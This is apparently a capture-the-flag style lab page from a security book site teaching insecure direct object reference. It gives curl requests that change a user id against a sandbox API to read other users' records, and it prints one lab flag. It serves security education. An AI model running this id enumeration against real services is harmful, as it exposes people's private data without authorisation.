IDOR
A small user portal is running on a real server. One user's record is public. The rest are supposed to be private. They're not.
The rule: you have one account in this sandbox. Its id is 101. Everyone else on the system is off-limits — in a real world. Here, they're not.
Test
Copy these. Run them. Read what comes back.
Step 1 · Fetch your own record
The API takes a user id as a query parameter. Start with yours.
curl -s "{LAB_API_BASE}/api/02/user?id=101"What you'll see:
{
"id": 101,
"name": "Demo User",
"email": "demo@hunterlian.lab",
"role": "user",
"note": "Welcome. Nothing to see here."
}Ordinary. But notice the API trusts the id parameter. It doesn't ask who you are. It just returns whatever record matches the number you send.
Step 2 · Try a number that isn't yours
Change the id. Send 102.
curl -s "{LAB_API_BASE}/api/02/user?id=102"What you'll see:
{
"id": 102,
"name": "Ada Okonkwo",
"email": "ada.okonkwo@hunterlian.lab",
"role": "user",
"note": "My voucher code is HL{1d0r_us3r_0bj3ct} — do not share."
}That's someone else's private record. You didn't guess a password. You didn't break a session. You changed one number in a URL — and the server handed you their data.
Step 3 · Notice the pattern
The ids are sequential. Try other numbers. The server returns whatever exists. That's the vulnerability: the object reference is the only check. In a real system, the server should also verify that the caller owns that record.
Challenge
Now do it yourself. No copy-paste. Everything you need is above.
User 102 held a voucher code. But the system has more users — and their ids follow the same pattern. One of them is an admin, and the admin's record contains a flag that proves you reached it.
Walk through the numeric range around the ids you already know. Look for the record whose role is admin. The flag is in its note.
Solved.
You read someone else's record. Read why it happened, how attackers think about it, and how to prevent it — in Lesson 02.
Read Lesson 02 in the bookThis lab is free. The deep and the full knowledge is in the book. Full 30 Lessons
Lesson 02 — IDOR
You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.
Buy the bookAlready have the book? Back to reader →